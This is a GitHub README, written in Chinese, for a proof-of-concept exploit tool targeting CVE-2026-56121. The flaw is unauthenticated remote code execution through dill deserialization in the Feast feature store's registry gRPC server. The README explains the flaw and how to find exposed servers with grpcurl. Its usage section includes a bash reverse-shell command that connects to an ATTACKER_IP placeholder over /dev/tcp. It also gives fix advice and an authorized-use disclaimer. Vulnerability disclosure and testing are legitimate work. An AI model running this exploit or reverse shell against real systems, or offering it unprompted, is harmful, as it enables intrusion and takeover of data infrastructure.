0xdak/CVE-2026-56121_exploit
GitHub: 0xdak/CVE-2026-56121_exploit
针对 Feast 特征存储 registry gRPC 服务器未授权反序列化 RCE 漏洞(CVE-2026-56121)的 PoC 利用工具。
Stars: 0 | Forks: 0
# CVE-2026-56121 — Feast Registry 未授权 RCE (dill.loads)
[Feast](https://github.com/feast-dev/feast) 特征存储的 **registry gRPC 服务器**中存在未授权的远程代码执行漏洞。
`ApplyFeatureView` RPC 会从请求 proto 中重建 `OnDemandFeatureView`。
在此过程中,它会 base64 解码 `spec.user_defined_function.body` 并将其传递给
**`dill.loads()`** —— **在执行任何授权检查之前**。`dill` 是
`pickle` 的超集,因此当 `__reduce__` 返回 `(os.system, (cmd,))` 的对象时,在服务器反序列化它的瞬间,就会执行任意的
命令。默认部署自带
`auth: no_auth`,因此只需向 registry 端口发送单个未授权的 gRPC 请求即可。
- **受影响版本:** Feast `< 0.63.0`
- **修复版本:** Feast `0.63.0`
- **默认端口:** `6570` (registry gRPC)
- **CWE:** 502 (不可信数据反序列化)
- **影响:** 以 registry 服务用户身份进行 RCE(通常是整个特征存储控制平面)
## 环境要求
该漏洞利用复用了 Feast 自身生成的 gRPC protos,因此需要在
攻击端安装存在漏洞的 Feast:
```
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
```
## 用法
```
# 快速检查(输出出现在 SERVER 上,而不是本地)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell(bash -c wrapper:os.system 使用 /bin/sh,它缺少 /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
```
`-p/--project` 用于设置项目名称(默认为 `feature_repo`)。命令的输出会打印在
registry 主机的 stdout/journal 上,因此请使用反弹 shell 或将其写入可读路径来
查看结果。
## 识别目标
该 registry 启用了 gRPC reflection:
```
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
```
## 修复方案
升级到 Feast **0.63.0+** 版本,启用 auth backend,并且切勿将 registry gRPC
端口暴露给不受信任的网络。
## 免责声明
仅供授权的安全测试和教育使用。仅可针对您拥有或已获得明确测试许可的系统使用。
标签:gRPC, PoC, Python工具, XXE攻击, 反序列化漏洞, 威胁模拟, 暴力破解, 编程工具, 远程代码执行, 逆向工具